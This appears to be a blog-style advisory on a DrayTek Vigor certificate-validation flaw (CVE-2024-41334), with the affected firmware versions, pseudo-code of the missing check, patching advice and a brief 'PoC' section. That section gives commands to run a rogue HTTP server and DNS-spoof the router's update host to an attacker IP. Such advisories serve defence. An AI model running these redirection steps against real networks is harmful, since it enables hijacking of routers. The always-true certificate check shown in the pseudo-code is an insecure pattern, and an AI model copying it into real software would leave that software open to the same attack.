CVE-2024-41334 - DrayTek Vigor Certificate Validation Bypass Leads to Remote Code Execution

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Overview

A newly discovered vulnerability tracked as CVE-2024-41334 affects a wide range of DrayTek Vigor devices, allowing attackers to upload and execute malicious code remotely by bypassing certificate verification. This flaw impacts several Vigor router and gateway models, putting thousands of networks at risk if not patched.

Simple language breakdown: If you use one of the affected DrayTek Vigor models and haven't updated to the latest fixed firmware, a hacker can trick your device into installing a fake module from an untrusted server—and run any code they want.

Affected Models and Firmware Versions

Below is the list of DrayTek products impacted by CVE-2024-41334 and the versions you must update to in order to be protected:

| Device Model | Patch Version | If You’re Below This: Vulnerable! |
|------------------------ |-------------------------|-------------------------------------------|
| Vigor 165/166 | v4.2.6 | prior to v4.2.6 |
| Vigor 262/LTE200 | v3.9.8.8 | prior to v3.9.8.8 |
| Vigor 286/2925 | v3.9.7 | prior to v3.9.7 |
| Vigor 2862/2926 | v3.9.9.4 | prior to v3.9.9.4 |
| Vigor 2133/2762/2832 | v3.9.8 | prior to v3.9.8 |
| Vigor 2135/2765/2766 | v4.4.5.1 | prior to v4.4.5.1 |
| Vigor 2865/2866/2927 | v4.4.5.3 | prior to v4.4.5.3 |
| Vigor 2962/391 | v4.3.2.7 | prior to v4.3.2.7 |
| Vigor 3912 | v4.3.5.2 | prior to v4.3.5.2 |
| Vigor 2925 | v3.9.6 | up to v3.9.6 |

What Is the CVE-2024-41334 Vulnerability?

In simple terms: DrayTek Vigor routers use custom modules called *APPE modules* to extend features and functionality. Normally, these modules should only be downloaded from trusted, official DrayTek servers. However, due to a flaw, the routers did not check if these files were really from DrayTek—they skipped certificate validation entirely.

An attacker can set up a fake update server.

- Convince your device (through network trickery, such as DNS or MiTM attacks) to download a malicious APPE module from this server.

The malicious code inside the module will run with high privileges on your router.

Simply put: The device blindly trusts any server—official or not—and executes what it receives.

A typical attack scenario might look like this

1. Set up a Rogue Server: The attacker prepares a server hosting a malicious APPE module (let's call it evil.appemodule).
2. Redirect Router Traffic: Using DNS spoofing, ARP poisoning, or another Man-in-the-Middle method, the attacker diverts update requests from the victim’s router to the evil server.
3. Trigger Module Install: The router reaches out (thinking it’s updating from DrayTek), but receives and installs the crafted module—no certificate checks are performed!
4. Remote Code Execution: The attacker’s code is now running inside your router, potentially opening a backdoor or exfiltrating network data.

Pseudo-Code Illustrating The Core Flaw

> *Below is a simplified illustration to show how the router should check certificates—but just doesn’t in the buggy firmware.*

def download_appe_module(url):
    # BAD: Fake check_cert function always returns True!
    if check_certificate(url):  # Should verify TLS certificate
        module_data = fetch_from_url(url)
        install_module(module_data)
    else:
        raise Exception("Untrusted server.")

def check_certificate(url):
    # The vulnerable firmware never actually verifies!
    return True  # <-- THE PROBLEM!

In patched versions, this now properly verifies the server’s certificate matches DrayTek’s official trusted chain.

PoC Exploit (Educational Purpose Only!)

Note: The following is a *conceptual* example to help you understand the exploit mechanics. Do NOT use for illegal activities.

Start a fake HTTP(S) server:

python3 -m http.server 443

Create and serve a malicious APPE module: (Assume you’ve crafted evil.appemodule)

cp evil.appemodule /path/to/http/server/directory/

Redirect router’s APPE update traffic:

(Example using local DNS spoofing, requires attacker to be in network path)

# On attacker machine, using dnsspoof or similar tool
dnsspoof -i eth -f draytek_hosts.txt

draytek_hosts.txt

<attacker_ip>   appe.upgrade.draytek.com

Router downloads the malicious update automatically—no certificate validation!

The module runs under admin privileges.

How Do I Stay Safe?

1. Update Firmware NOW! Go to DrayTek’s support site, find your model, and upgrade to the latest version OR at least the version listed above.
2. Restrict Remote Access: Avoid enabling remote admin unless necessary, and always use strong, unique passwords.
3. Monitor for Suspicious Modules: Regularly review installed modules on your Vigor device for unusual entries.

Vendor Patch released: May-June 2024

- CVE ID: CVE-2024-41334

Official DrayTek Security Advisory and Firmware:
- DrayTek Security Advisory
- DrayTek Downloads

Vulnerability Database:
- NVD Entry – CVE-2024-41334

Summary

CVE-2024-41334 is a major chain-breaking flaw in DrayTek Vigor routers and gateways, due to a lack of certificate verification when fetching update modules. If you haven’t updated your DrayTek firmware—do it now! Attackers are quick to exploit these bugs, and this one gives them a straight ticket to your network core.

Stay patched, stay safe.

*Share this article with your IT team or colleagues managing DrayTek equipment to keep your infrastructure secure!*

Timeline

Published on: 02/27/2025 21:15:36 UTC
Last modified on: 05/06/2025 18:15:36 UTC